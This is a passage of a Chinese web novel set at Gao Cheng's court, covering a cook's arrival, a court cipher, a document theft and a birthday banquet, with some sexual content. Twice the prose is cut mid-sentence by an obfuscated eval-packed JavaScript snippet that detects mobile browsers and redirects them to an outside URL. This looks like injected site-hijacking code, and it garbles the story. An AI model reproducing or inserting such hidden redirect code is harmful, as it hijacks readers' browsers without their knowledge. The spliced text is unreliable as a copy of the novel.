言罢,看向他一眨眼,阿禛忙接话: “是是是!恩人说得对!如今俺们长社百姓都知晓这个道理了!都说大将军是天上的日头,普照着呢,下头有些云彩一时遮了光!如今云散了,日子就好过了!” 他只会说这粗话,可看那大将军,俊脸上像三伏天喝下冰酪般透着股舒坦,眼角眉梢的得意要溢出来了。再看恩人,和大将军说话轻轻缓缓的,全没有一点当初骂县长的威风,就像老虎,悄悄把利爪收了。 “人倒老实。”大将军对引他进来的那苍头奴道,“赏他一盏茶。” 那苍头奴应声退下,不多时便用漆盘托着只茶盏奉到阿禛面前。 那小碗薄胎釉润,他哪见过这般精致物事,正不知如何是好,恩人端起案前自己那盏,轻轻啜了一口,阿禛有样学样,捧起那‘青天碗’,学着恩人样子喝了一口。 一股怪异苦涩在口中漫开,险些当场吐出来。 大将军嗤笑一声,“这蒙顶一年也贡不了一斤,也不合你口?” 阿禛苦着脸,老实巴交地回道:“回大将军,这……这都不如俺家井水甜!” 大将军‘恩’了声,“南人弄出来的玩意,确是难喝。”话锋一转,凤眸里玩笑之色尽褪,“王禛,你自河南道来,一路行至邺城,沿途田亩稼穑如何?百姓可能吃饱?赋税几何?” 原来恩人说得是真的,这通着天的神仙大贵人,竟真是个关心百姓吃不吃得饱的青天。 他下意识偷瞄恩人,见她微微颔首,是让他实话实说的意思,定了定神,忆着一路所见,絮絮答道: “回大将军……庄稼长得还行,地里的苗绿油油的……但,但地里还多是老汉和半大小子,后生不是被拉去从了军,就是服劳役去了,要么就是……就是给大户当佃户去了。” “……税差不多都回到三匹了,官老爷也没明着要‘人事’,哦,邺城门口查得可严了,路引、包袱、货物看了又看……守门的军爷倒是不凶,还给指了路。哦对了!草民路过东郡地界时,看官家支了粥棚!听说是大将军‘煮盐’给朝廷挣了钱……” 东一榔头西一棒槌,拼凑出一幅民生画卷。 看来,盐政之利初现成效;崔、宋对百僚的整肃,也起了威慑作用,贪敛之风稍戢;阿浚这小子带着伤,督管城防倒也没耽误。 高澄静静听着,面上不露声色,胸中意气已直冲头顶,通体舒泰。 问罢正事,高澄起了闲适好奇。 “你这般念着我等,从长社远道而来,是带了什么稀罕物?” 阿禛忙回不是稀罕物,只是土产,东西在门外马车里。高澄叫来刘桃枝,片刻后,他与另一奴仆各抱进一半旧的麻布大口袋。 袋口解开,露出内里乾坤:风干的寒具,金黄酥脆;几罐野蜂蜜;还有用油纸仔细包好的厚肉干枣;自家晾晒的干荠菜、马齿苋,另一袋是粟米、新磨的豆面等粮食。 高澄看眼日头,对刘桃枝吩咐:“送去厨下,依着乡野之法,整几样上来。” “大将军,”陈扶轻声开口,“阿禛于庖厨一道,颇有天赋。当年在王家村,他仅凭野菜与些许豆面,便能做出一碗令臣至今记忆犹新的糊糊。既是长社土产,由长社人亲手做,岂不更得真味?” 高澄眉梢微挑,他珍馐玉馔早已吃腻,不由被她所说的糊糊勾起了兴致。 “竟能让你念念不忘?那倒真要尝尝,是何等滋味。” 待阿禛随仆役退下,高澄目光才完全落在陈扶脸上。 堂内静寂,唯有降真香的清冽气息袅袅浮动,看着她低眉顺目的侧影,想着那规训县吏之语,为他挣足民心之忠心,忽伸出手,拉过扶着砚台的那只纤手,攥入掌心。 轻轻摩挲着修得圆润的指甲,低低慨叹:“怪不得……当年苻坚会对王猛那般推心置腹。” 陈扶抬眼,“大将军此喻,稚驹觉得不妥。” “嗯?” “稚驹浅薄,安敢比功盖诸葛的贤相重臣?而苻坚……”回握住他,乌黑眸子漾开笑意,“虽有大志,却未有大局之识,又安能与严明有大略的大将军相比?” 这话如羽毛般轻轻搔在高澄心尖处,舒爽无比。 谈笑间,王禛已和膳奴将饭菜呈于食案上。 几样清爽小炒,一碟淋了杏酪的寒具,居中那一大釜,是热气腾腾的豆面野菜糊糊。香气质朴,却带着一股锅气,竟比御膳都勾人食欲。 高澄执起银勺,先尝了一口那糊糊。 入口是豆面的醇厚焦香,杂着野菜清新,细细品来,竟有一丝回甘,几种看似简单的味道层次分明地交融在一处,熨着脾胃。 他又试了试其他小菜,或清脆,或咸香,竟都十分下饭。 便对刘桃枝道:“去后面,把她俩叫来,也尝尝这乡野风味。” 日头暖洋洋照进来,阿禛正和恩人笑着对望,忽听得叮叮咚咚的玉环摇动声,一阵香风扑鼻,转头一看,娘咧,只见两个美娇娘,一前一后走了进来。 前头那个年岁小些,穿着一身绿罗裙,走路柳枝儿似得,那张脸美若天仙,眉眼鼻子没有一处不好,就是瞧着没什么精神,眼皮耷拉着。后头的穿着石榴红裙,腰肢扭得像水蛇,未语先笑,眼珠子滴溜溜一转,像是会勾魂。 两个美人儿走到大将军案前,盈盈下拜,目光扫过案上,笑意僵了僵。 还是穿红裙的娘子活络,她凑近大将军,声音媚得能滴出水来,“大将军今日怎有兴致,尝乡野小菜了?”说着,涂着蔻丹的手指摸上大将军拿筷子的手,软绵绵一坐一偎。 大将军带笑低斥:“安分些。看不见有外人?” 红裙娘子悻悻地坐直了些。 ‘外人’阿禛恨不得把脑袋埋进胸口,再不敢抬头乱看。 视线就只能盯着几位贵人案几下头的衣裳角了,听着那红裙娘子娇声夸赞菜好吃,又听大将军笑问,“怎不动口?怎么?要人喂你?” 一个细细弱弱声音响起,“回大将军,玉仪……不爱吃豆面。” 过了会儿,案几下探下一只戴着金戒指、玉戒指,雪白的手,那手竟……竟探到了大将军的那处?!轻轻重重地揉弄起来!阿禛脸“腾”一下就烧起来了,心怦怦直跳,眼神赶紧往上挪。 大将军正问恩人:“还要么?”声音还是那般含笑自若,见恩人微微点头,他便亲手给她舀了一碗放在面前。恩人也不用勺,捧起碗就嘴喝,也就在这当口,大将军刚给恩人端碗的手一挪,在那红裙娘子前头的柔软处狠狠拧了一把! “唔……”一声吃痛低呼,那只在下面作乱的手就缩了回去。 阿禛脑子里嗡嗡的,贵人们……都是这么相处的? 还没等他琢磨明白,又听那红裙娘子娇滴滴开口:“多谢大将军惦着,不仅给妾那不成器的夫君升了官,连带着犬子也得了份好差事……” 啊?她、她竟有夫君?!啊?! “王禛。” 大将军叫了他一声,他心里大骇,大将军定看见他满面通红的样儿了。 可那张仙家宝相似得脸,像啥事儿都没发生一样,只对他挑眉道:“饭做得很好,甚合我意。”对那个叫刘桃枝的苍奴说,“下午带他去邺城里好生逛一逛乐一乐,让他也见识见识,什么才是好日子。” 复又看回他,“晚上,再来给我做一顿。” 说罢,大将军就放了筷子,接过那绿裙娘子递上的丝帕擦了擦嘴角,目光在那俩人身上一扫,便起身出门去了。两位娘子马上撂下碗筷,像两只蝴蝶似的,急急飞了出去。 堂内静了下来,只余下他和一直安静的恩人。 她慢条斯理地喝完最后一口,轻叹口气,长长的睫毛在眼下投下一小片阴影,仿佛掩着他看不懂的重担。 这声叹息惊醒了阿禛,光顾着看贵人们的古怪,差点忘了自己此番前来的正事! 他“噗通”一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663702|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跪倒,“恩人!这两年托恩人的福,修了青砖大瓦房,赎回了田地,阿禾也风风光光嫁了人,俺给她备足了嫁妆,爹娘也交由他们照应了!家里……家里再没什么让俺挂心的了!” “这次来,俺就是铁了心,要报答恩人的活命之恩!给恩人当个奴才!俺有的是力气,什么挑水、劈柴、做饭、洒扫庭院的粗活,俺都能干!” 陈扶静静听着,一瞬不瞬地看着他。 待他说完,她沉默了许久,久到阿禛又要开口,她才轻声道:“阿禛大哥,你真的想好了,要留下来帮我?” “是!”阿禛斩钉截铁,“只要能帮到恩人,哪怕是刀山火海,俺也绝不皱一下眉头!” 陈扶凝视着他因激动而涨红的脸,良久,终于再次开口:“那你过来。” 附耳低语几句,看他领会,方同他起身出了正堂,交给在院子里值守的刘桃枝。看两人拐进回廊,她并未如常去暖阁午歇,而是径直折返,在外间正伏案写文牍的秘书丞面前坐下。 “李大人。” 李丞闻声抬头,见是陈扶,心中闪过一丝复杂。 他这秘书丞,自这位陈女史来此,便被边缘化至此,虽保住了职位,却远离了决策核心,心中岂能丝毫无怨? 但他又深知,若非陈女史前几日进言,“近臣知密甚多,纵闲亦不可轻弃”,大将军只怕就将他调离彻底弃用了,然而,这份“保全”背后,终究还是职权旁落的酸涩。 “李大人,玉璧战事迫在眉睫,大将军正忧心与晋阳公文往来,恐有机密疏漏之虞。”眼前人语速平稳,目光诚恳,“我观大人行事缜密,忠诚可靠,值此非常之时,大人何不向大将军进言,请命总责,制一套专用于机密通信的‘书契密文’?此制若成,大人内掌机要之密,外通两都军令,权责之重,地位之固,再无忧矣。” 李丞闻言,心神一震,此议恰为时用,她描绘的前景也实在诱人,但…… “女史所言,确是谋国之见。只是……李某才疏学浅,未涉过那密文之法,恐难当此任……女史既有此心,依女史之才,何不自己草拟一份上谏?” “女史之司,不过侍奉笔墨,军国机要之筹算,该是秘书丞之职。”说着,她自袖中取出两张薄薄的笺纸,递了过去。 李丞接过,凝神细看,初时不解,越看越是心惊,纸上所列,并非寻常文字,而是一套极为精妙、以《勋贵用度》为伪装的一词双意密文系统! 他掌文书多年,看得出此套密文的可行性与隐蔽性。他激动得手指微抖,抬起头,目光灼灼看着陈扶,声音因兴奋而颤着:“女史……真乃神人也!只是……女史将此功赠予李某,李某……要如何报答女史之恩呐?” 陈扶浅浅一笑,云淡风轻:“李大人言重了。他日若有机缘,为我办一件小事即可。” 他日日在外间,岂会不知这位陈女史虽年纪尚幼,却手段高超,未来不可限量。与她合作,远胜于心怀怨怼、坐困愁城。他当即肃容,郑重一揖:“女史但有所命,李某定义不容辞!” 一番交谈,化干戈为玉帛。李丞心中怨气尽消,而陈扶,则将一个潜在的失意对家,转化为了心怀感激的盟友。 下午,李丞吃透那套密文后,便入堂中求见高澄。 他将加密后的‘礼单’与真实军报对照演示,以物代粮,以匹计数:‘蜀锦’竟指‘粟米’,一匹便是百石,那‘吴绫’则是‘豆料’,‘青瓷尊’喻‘汾水’,‘漆木案’代‘晋阳’,二者同列,便是‘自晋阳由汾水漕运’之路线...... “例,一道军令:命左军,三日后,自晋阳经汾水向玉璧运粟米三千石、豆料五百石。加密后便是:赏左厢都督:蜀锦三十匹,吴绫五匹,犀角杯一对,青瓷尊两件,漆木案一张,青铜鼎一座。” 整套密文依托于旧例赏赐,若非知悉密钥,绝难窥破其中玄机。 高澄连声点头赞好,“李卿此谏,深得吾心!既如此,日后发往晋阳之函,便交由卿转译,有此天衣无缝之密文,我父子往来讯息,可保无虞矣!” 李丞领命而出,心中对陈扶的感激无以复加;而内堂之中,高澄把玩着那份‘礼单’,眼中赞赏之意更浓。 待到下职时分,高澄神清气爽地从正堂转出,带着陈扶去后院用晚膳。 阿禛早已在厨房憋足了劲,将土产野味与厨房里的精美食材融会,使出浑身解数,整出一案看似质朴无华、实则内藏巧思的菜肴。 尤其那道用野蜂蜜调味、烤得外焦里嫩的河鱼,香气扑鼻,令人食指大动。 高澄得口,那烤鱼连下几箸。 阿禛看准时机,待残膳撤下后,跪伏求道:“大将军是天上太白星临凡!武曲星君下界!对草民有再造之恩!草民这回进城别无他求,只想留在东柏堂报恩,给大将军当个奴,求大将军开恩,成全草民这片心!” 虽言辞朴拙,那腔感激却满盈盈的。 高澄本就对阿禛的厨艺十分满意,见他如此识趣知恩,扬起几分笑意,目光转向陈扶,“稚驹,你以为如何?” “粗茶淡饭于调养大将军身子大有裨益,他又身家清白,既深感大将军恩德,千里报恩而来,必会尽心竭力,于饮食安危上,亦是为大将军多添一分稳妥。” “好!”高澄看回脚边人,“既你一片赤诚,便准你所请!好好做事,本将军绝不会亏待于你!” “谢大将军恩典!谢大将军恩典!”阿禛喜极,只觉一股热流冲上眼眶——他能帮到恩人了! - 西厢房内,陈扶浸在浴桶中,闭着眼,任由思绪在诸般事务间流转。 净瓶用木勺舀了温水,淋湿那乌黑长发,一边用指尖揉按她头皮,一边不忿道:“仙主,那元静仪成日的在仙主跟前显摆,也忒嚣张了!仙主可想到抢回大将军宠爱的法子了?是再点拨李夫人,还是……另寻他人?” “我要想的,不是抢回高澄宠爱的法子,”陈扶眼都未睁,“是除掉一个人的法子。” “那……除掉元静仪的法子,仙主可想到了?” 陈扶沉默着,氤氲水汽模糊了她脸上神情。 一直沉默的甘露忽然开口:“仙主,奴婢……奴婢倒有个法子。”她凑近些,低声道,“净瓶不是打听到,元静仪那夫君崔括,好流连风月场所,我们……我们只需安排一个得了‘花瘘候’的妓子去伺候他,让那崔括染上,再传染给她。此病如恶疮,其肉突出,如花开状,或瘥或剧,大将军见她那副模样,绝不会再宠幸了。” 陈扶猛地睁开眼,缓缓转过头,“当然不行!花瘘候非即时发病,未发时染给高澄怎么办?” 甘露脸上掠过慌乱,只一瞬,便又被一种“气不过”的情绪取代,她咬着唇,眼圈微微发红,“他……他那样风流,见一个爱一个,根本……根本不值得仙主待他这么好!咱们在这为了他安危劳心劳力,他却在……我们何必管他!放弃他算了!” 陈扶静静看着甘露,那杏眼里何止气愤,分明还蕴含着失落与某种隐秘的痛楚。 “甘露,我问你,郭嘉、荀彧,他们会因曹操好色,放弃辅佐这个主公么?曹操因强占张济遗孀邹氏,直接引发张绣叛变,致其长子曹昂、爱将典韦战死,堪称因色误事之典型。事后郭嘉、荀彧他们,放弃他了么?” “高澄如今,并未因宠幸元氏姐妹耽政废国。斛律光、段韶、我阿耶、崔暹等,可有一人,会因他贪爱美色就不认这个主公了?那为何我们,却要因他风流放弃他?” “就因为我们是女子?” 一连串的反问,如同重锤,敲碎了那层壳,甘露脸色煞白,低下头去,手指扣着皂角豆。 净瓶连忙打圆场,“嗨!罢了罢了,肯定还是得管他嘛,且不说咱就是为了他下来的,但说这一世,若不解厄,不就西贼得了天下了?” “好童儿。”陈扶靠回桶壁,手摸向甘露的手,轻轻握住,“千万不要在路上迷了眼,忘了自己因何上路。” 30.第30章 时近亥末,夏夜余热,绡纱窗明。 崔括倚在胡床上,把玩着一枚玉貔貅,时不时看着门外,顾盼了一阵,元静仪回来了。她发髻稍松,几缕青丝垂在颊边,走入内室,目光与崔括一触即分,如同掠过一件熟悉的家具。 “今倒是回来得早。” “玉仪身子不爽利,世子便说散了。”走到镜前一坐,拔下金簪掷到案上。 “那今……世子心情尚佳?” 镜中人冷冷瞥他一眼,“有屁快放,少卖关子。” 崔括讪讪一笑,起身凑近,“夫人,七月十五便是那陈女史生辰了吧?” “我怎会知?那小妮子看我不顺眼,过生辰又不会给我下帖。”正卸耳珰的手一滞,扭身盯看他,“你又如何知晓?” “今陈善藏告假听了一嘴,说世子那日要亲临李府,他去招待一下。”他轻着手替她卸掉另一只,声音含笑,“若真如此,便有一桩好事,天大的好事,要落在咱们头上了!” “?” 他又凑近些,和她脸贴着脸,“今有个从晋阳来的大商人,辗转寻到了我,说他家主上在晋阳手眼通天,做的都是勋贵间的生意。他们想……想请夫人帮个小忙。” “什么忙?” “他们想知晓,朝廷战前对那些将领的赏赐。夫人你想啊,朝廷赏过的东西,那些人家里自然就不缺了,他们再送同样的,岂不是马屁拍在马腿上?若能提前知道,他们就能错开备货……” “你想让我……去偷高澄的文书?” “哎哟,我的好夫人,话别说得那么难听嘛!那算什么偷啊?不过是一份赏赐清单,即便……即便真不小心弄丢了,高大将军也是训斥收拾文书的陈女史,怎么可能疑心到夫人头上?” 见元静仪依旧蹙着眉,朝那榻上的匣子一指,“那人已经付了定金,”伸出三根手指,“这个数,事成之后,三倍奉上!” “三十金?!”元静仪猛地转过身,眼睛瞬间瞪大。 崔括已将那沉甸甸的匣子打开奉到她脸前,金光耀目,她眯眼深吸一口气,强迫自己冷静下来。 陈扶生辰,高澄刘桃枝必定都要去,东柏堂内并无守卫,外间只有那个定时会去解手的秘书丞…… 她看向崔括,细眉一挑,“此事,你不要再插手了。” “夫人?” “听着,即便真倒了八辈子霉,被发现了,我一个妇道人家不知轻重,财迷了眼,最多被大将军斥责几句,多‘伺候’他几回,也就过去了。但如果你牵涉其中,一个外臣,勾结商贾,窥探文书,性质就不同了!” “把那个晋阳商人的联络方式给我,你,装作什么都不知道。” 崔括笑了笑,从怀中摸出一张小小名刺,“一切都听夫人的。” - 元静仪来到前院,隐在廊柱后,目光紧锁着外间。 临近晌午,高澄离开了东柏堂,那李丞如往常一般,到了时辰,便搁下笔,揉了揉手腕,起身往茅厕方向走去。 元静仪悄无声息闪进正堂,她不敢耽搁,快步走到那宽大的绿沉漆公案前, 《晋阳出师旌赏令》……《晋阳出师旌赏令》…… 心中默念着目标,在那堆文牍卷帙中飞快翻找起来,窸窣声在寂静的堂内显得格外清晰,心中又焦又怕,不一会儿渗了一身的汗。 终于,在几份军报之下,翻出了一份装帧好的文书,赫然写着‘晋阳出师旌赏令’! 狂喜涌上心头,百金!百金!有了这笔钱,她便能…… 她不敢再想,迅速将文书拢入袖中,碎步离开,向大门而去,她须得快些出城,将那袖中之物,换成黄澄澄的金子…… 时值午前,天光清朗。 兄妹二人迎上从牛车下来的高澄,一同进了李府。 一入西厢园中,李孟春忙不迭上前行大礼拜见,两位老人也颤巍巍上前要拜,被高澄抬手虚虚一托,言道:“稚驹既只想小过,今日便只叙家礼。”二老方惴惴坐下。 园中老槐亭亭如盖,浓荫匝地,槐荫下设了几张黑漆螺钿长案,高澄照旧与陈扶并了案,李孟春邀侍立的刘桃枝也坐,得了高澄眼色,他便也坐了。 奴婢侍奉布菜,案上渐渐摆开。 五个憨态可掬的胖娃娃面人最引人注目,或击鼓,或吹笙,名曰‘五子闹寿’。赤酱奥肉浓香扑鼻;塔糕层层叠叠;醋芹清爽;羊脂韭叶拨鱼儿汤色奶白。林林总总,多是些并州风味。还专放了樽雕花小银壶,内里盛着的非美酒,而是晋地独有之陈醋,酸香隐隐。 高澄略一挑眉,露出诧异神色,转眸问那李孟春:“夫人祖籍不是威县?今这席面,怎么尽是并州菜?” “大将军可是不合口?哎呀怪我!今阿扶生辰,便都做了她爱的。净瓶!去!让厨房再做些别的来!”李孟春快嘴快舌,语速急切,全然未觉女儿递来的无奈眼色。 “不必,”高澄哼笑了声,向身侧斜斜一扫,“只是平日她在东柏堂,多用青笋、莲羹之类,我还当她不好这些厚重之味呢。” 身侧人执壶为他斟酒,水流淅沥中,垂眸应道:“大将军恕罪。稚驹常随大将军左右,往来皆是贵人,恐席间失仪,损了大将军颜面。故而……于饮食诸般细节,皆斟酌再三,不敢放纵偏好。” 听她此言,高澄心忽得像被细针轻刺了一下,泛起些微疼意,又莫名闪过丝恍然,若口味是迎合……他垂眸侧首,目光定定锁住她,“除了口味,还瞒了我什么?” 陈扶心下无奈一笑,他不觉时无所谓,一旦留心,便会探个究竟,若断然否认,必不会信。 迎上那双凤目,弯起眉眼,“确还有点小秘密,未和大将军分享过。” “其实稚驹并非单单喜并州菜……对并州之地,更是心向往之。”她声音放缓,带上憧憬,“稚驹从小便听阿耶言及晋阳霸府,蒙山晓色,天龙石窟,汾水奔流,虽生于邺下,长于斯,却总觉那表里山河之地,方是魂牵梦萦之乡呢。” “你若说向往江南、巴蜀,或需思量,”高澄眉头已舒,喉结一滚,哼出声笑,“既是晋阳,却有何难?下回我去时带着你便是。” “真哒?稚驹谢大将军恩典。” 看她诚然一喜,高澄再不多想,冲陈善藏举杯,状若随意道:“连忠,崔括其人,在宫里如何?” 陈善藏忙双手举杯恭对,“回大将军,崔侍郎平日颇知避讳,与陛下未见有何不妥交结。只是……”他面露迟疑,抿了抿嘴,似在斟酌词语。 高澄将杯中酒一饮而尽,沉声道:“但说无妨,莫要欺瞒。” “只是崔侍郎有时出言……略失分寸。他曾对下头的侍郎戏言‘舍不得娇妻,升不了官’,还道……若家中有颜色出众之妻妾,何不赶紧荐于大将军座前?”他顿了顿,悄眼观察高澄神色,分明已春山藏雷,晴空忽蔽,不觉声音压得更低,“同僚当面自是附和,只道没他的福气有美妇,然背地里……难免有些议论,道大将军铨擢非因才识……” “荒谬。”陈扶打断,“当日大将军擢升崔括,是念他读过圣贤书,总有些许才学堪用。怎么到他嘴里,倒成了官位全是夫人之色所换?大将军冠绝当世之姿,若行于市井,掷果盈车,愿托终身者,不知几何,何需以权换色?” 李家人纷纷言是,连侍立远处的女婢们也忍不住低声应和。 高澄素不在意风流好色之名,但却向来以知人善任、赏罚分明自居,如今却被这崔括编排成公私不分的昏聩之徒,早听得怒火翻涌,本因是她生辰强自按捺,此刻见她为自己抱屈,终是勃然发作, “不知死的狗彘之辈!” 陈扶见火候已到,便不再添柴,和声劝道:“大将军息怒。此事原也好解,若有不开眼的信了妄言敢效仿,严词申斥一回,谣言自然消弭。”说罢示意甘露奉上清茶。 高澄连饮三盏,翻涌的气血才勉强压下,面色渐复如常,只眼底还残留一丝冷厉。 午膳后,日头正毒,众人移步到槐树下更浓密的荫处,挨坐着纳凉。 案上摆着刚用井水镇过的瓜果,奴仆们搬来两盆冰鉴,丝丝白气氤氲而出。 甘露将一盏新沏的雪芽茶轻放在高澄手边,跪坐在侧,执起柄素绢团扇,不紧不慢给他扇着风。 他离她这样近,近得能闻到他衣襟间清冽的熏香,能看清他后颈那不驯服的碎发,长密的睫毛,在她扇出的微风下轻轻颤动。 目光不由自主地,看向那如刀裁折的侧颜,那总噙着三分讥诮的唇,挺如山脊的鼻梁,仍凝着些许阴翳的眉宇——直到他毫无预兆地看过来。 像偷食的雀儿被捉了个正着,甘露慌忙别开脸,手中团扇也乱了节奏。 大娘子应是还念着高澄方才不高兴,想寻个由头逗他开心,目光瞟眼仙主,忽地抿唇一笑,从袖中摸出个小物事,递到高澄面前,“大将军瞧瞧,这可是难得的‘好’手艺,可能猜出是谁的手笔?” 那是一个荷包,布料是上好的湖绉,可上面却绣着黄黄一团,辨不出是禽是兽的物事。 高澄原本漫不经心地接过,目光在触及那团黄色时,骤然定住,笑声从喉间低沉地滚出来,继而变得爽朗,“哈哈……这绣得何物……” “阿母?!你怎么什么都给大将军看啊?!”仙主那张总是白皙的小脸,难得地飞了些薄红。 大娘子看寿星恼了,忙笑着打圆场,“大将军莫要取笑她,统共就动了这么一回针线,头一遭能成形就不错啦。仔细看看,还是能看出是只鸭子的,瞧,这儿是头,这儿是尾巴……” 高澄饶有兴致地掂着那只丑荷包,鉴赏古玩珍宝似得反复端详,眉梢眼角都是未尽的笑意,“这竟是只鸭子……原以为我们稚驹只是马上功夫稍欠,没想到还有这等‘绝活’……” 仙主倏地站起身,似是被说得臊得慌,朝园子外走去,正和刘桃枝说笑的净瓶忙跟上,二人一前一后,转眼就出了西厢。 人都走了,高澄仍笑个不住,似不能再看那丑荷包一眼,往案几上一搁,转而看向一直静默的她。 “去,取你的绣活来。” 她抿了抿唇,终究还是低低应了一声“是”,起身回了与净瓶同住的耳房。 从自己那枣木妆奁底层,小心翼翼地取出一方叠得齐齐整整的帕子。 素白的杭绸底子,细腻柔软,上面是她花了数月心血,一针一线,熬了无数夜晚绣成的交颈鸳鸯,红碧相间,羽毛毕现,在莲叶田田间相依相偎,水波涟漪以戗针绣出深浅渐变光影,是她最为得意的一幅绣样。 捧着这方帕子回到树下,递过去时,高澄指尖似有意拂过她的,那微凉触感让她烫到一般,猛地缩回了手。 他垂眸看了眼帕子,抬眼,目光沉沉盯看她,“这绣的什么?” “大将军连鸳鸯也不认得么?”话一出口,她便有些后悔,这语气太过冲撞了。 他却并未动怒,反而低低地笑了一声,将那方帕子举到鼻尖轻嗅了一下,目光仍锁着她发烫的脸,“女子绣这交颈鸳鸯,等闲可不给人看……自然要问清楚。” 男人的指尖抚过那细密匀称的针脚,动作缱绻,仿佛在抚摸情人的肌肤。 “针脚匀净,配色也雅,绣得这样好……却怎么不教教你主子?” 她原是要教的。 当时她实在看不过眼,说帮仙主拆了重绣,可仙主却只是将绣绷随手一丢,无所谓道:“不必了。若有一天,刺绣有用,我自会学。” 她知道仙主学的东西,要么对女史职司有用,要么对护住高澄有用,当时忍不住追问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672760|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那仙主一直潜心握槊之道,可是大将军爱玩握槊?” “他对握槊一般。但却是接近另一人之利器。” 她好奇地问那人是谁,仙主眼中锐光一闪,“那人年岁尚小,人尚在晋阳。” “想什么呢?” 回神答道,“女郎日常庶务繁忙,刺绣是熬时间的活计,她怕是抽不出空来学。” 高澄眯眼盯看她片刻,忽地凑近,低低问道:“把你这鸳鸯帕子给我,可好?” 后四字入耳,蓦地想起那个醉夜,他也是这般贴着她耳畔,问她:把你给我,可好... 她做不出任何反应,只呆看着自己那方鸳鸯帕子,被那劲长手指把玩。 “怎么?又不回话?” “大将军……大将军若要,奴婢安敢不给。” “我要的是心甘情愿,”他目色在她颈间流连,“就像这对鸳鸯,若非两情相悦,何必交颈?” ‘啪嗒’一声轻响,那柄一直握在手中、却早已忘记摇动的素绢团扇,掉落在青竹簟上。 她看见那双秋水含春的凤眸里,困着自己小小的倒影,那样无措,那样彷徨。 良久,她听见自己的声音:“奴婢......愿意给。” 高澄唇角满意一勾,直起身子,“唔,”像是忽然想起什么,捻起案上那只荷包,对大娘子道,“这鸭子,也一并给我罢。” “额......大将军不嫌弃阿扶手艺粗陋?”大娘子显然很惊讶。 “绣得如此……别致,”他说着,自己又觉有趣般笑了笑,“正好,与这鸳鸯帕子,一精一拙,相映成趣。”将两样绣品都收入了袖中,“今日收获颇丰。”他轻笑总结,站起身。 园中蝉鸣愈发喧嚣,鼓噪着耳膜,吵得人心慌意乱。 陈扶一出西厢,脸上那层薄红便褪得干干净净,她步履不停,直走到大门前一株石榴树下,才看向跟来的净瓶。 “你那老乡,如何了?” “仙主放心,连夜走的,本就是易容,手脚干净,决计查不到半点痕迹。” 话音刚落,却见一青袍道士走了来,那道士手持布幡,上书‘铁口直断’四字,面容清癯,一双眼睛极亮。 “贫道云游至此,见贵府结彩,知有生辰之喜,又见府上祥云盘桓,光华内蕴,忍不住想进来结个善缘,为贵人批命一算,也讨个吉利钱。” 陈扶只当这游方道士是寻常讨赏,示意甘露给他几个钱。 不料道士接了银钱,却不肯走,稽首道:“受施当有报,敢问女居士,生辰年、时几何?” “乙卯年,子时。” “乙卯、甲申、乙巳、丙子。”道士掐指沉吟。 陈扶笑笑,“不就是食神配印么?何需算这般久。” “时干透出,丙火泄秀,子水偏印,只观其表,确是食神配印。”道士微微一笑,“然日坐巳火,内藏庚金,巳申相合,杀星深植。女居士外显文慧,内秉刚决,乃是能扛千钧重压之顶级命造。” “你的意思……我其实是……七杀格?” 道士捋须颔首,“非要定格的话,确是七杀无疑。” 百感如电闪过,陈扶垂下眼睫,将翻涌心绪尽敛心底,再抬眼时,已是一片沉静。 从袖中取出一银锭,轻放那道士手中,“道长慧眼。这点心意,聊表谢忱。只是批命断格,单说给命主即可,”眼波微眯,“明白么?” 道士触及她目光,当即敛容收银,深施一礼,“贫道已得善缘,何需再开口。” 身后传来两道脚步声,高澄自廊下荫影处转出,眉梢微挑,目光掠过那道士离去的背影,落在陈扶脸上,“聊什么了?神神秘秘的。” “不过是个游方道士,说些吉祥话罢了。大将军怎么也出来了?” 高澄走近,拂开她鬓角被穿堂风吹乱的发丝,答非所问,“今这生辰,过得可还欢喜?” “大将军在,稚驹自然欢喜。” “随我来。”他朝府门外停着的牛车走去,陈扶略整心绪,抬步跟上。 车厢内幽暗,光线从竹帘缝隙挤入,照出浮动的微尘。 高澄从身后取过一个一尺见方的乌木匣子,放她膝上,“生辰礼。” 那匣子样式极简,只在合页处用了铜饰,陈扶小心打开,里面并非钗环玩物,只有几张官契。 她拿起最上面一张,借着微光细看,竟是邺城戚里最繁华的铜驼大街上,名号响亮的大酒肆的契书,其下是邻近两间收益颇丰的脚店货栈凭据。 “大将军,”她惶然抬头,“这太贵重了……稚驹年幼稚拙,要这些产业作何?” “自有可靠的管事打理,账目每月呈送东柏堂,你过目便是,不必费心。”他语气平淡,仿佛送的只是根金钗,目光掠过她还欲推辞的神情,沉声道,“拿着,攒着当嫁妆。” 鼻子骤然一酸,眼前迅速蒙上一层水雾。 她紧紧抱着那沉甸甸的木匣,将泛酸的眼眶埋低,紧咬下唇道:“稚驹……谢大将军厚爱。” “这点东西也值当哭?”高澄哼笑了声,用指腹抹去她挂在下睫的泪珠,“日后见了真正的世面,又待如何?” 他话音未落,车外忽起一阵急促脚步声,竹帘外映出一个惶急的人影。 看刘桃枝按刀侍立车旁,李丞慌慌抓住他,压低声音急问:“大将军可在李府内?下官有要事禀报!” 竹帘被一只骨节分明的手掀起。 高澄面沉如水,“何事?” 李丞凑近车窗,见车内尚有陈扶在侧,脸上顿时露出几分踌躇,目光在陈扶与高澄之间逡巡,叉手深揖,语带迟疑:“大将军……此事……可否容臣稍后……” 高澄瞥他一眼,淡道:“陈女史非外人,但讲无妨。” 31.第31章 